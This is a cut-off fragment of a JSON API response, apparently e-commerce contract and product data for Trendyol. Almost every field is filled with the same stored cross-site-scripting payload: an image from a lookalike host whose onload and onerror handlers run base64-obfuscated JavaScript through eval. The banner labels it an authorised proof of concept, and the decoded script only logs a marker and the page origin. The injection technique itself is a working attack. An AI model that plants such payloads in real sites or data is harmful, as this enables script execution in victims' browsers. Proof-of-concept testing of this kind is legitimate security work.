#f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"}],"products":[{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b 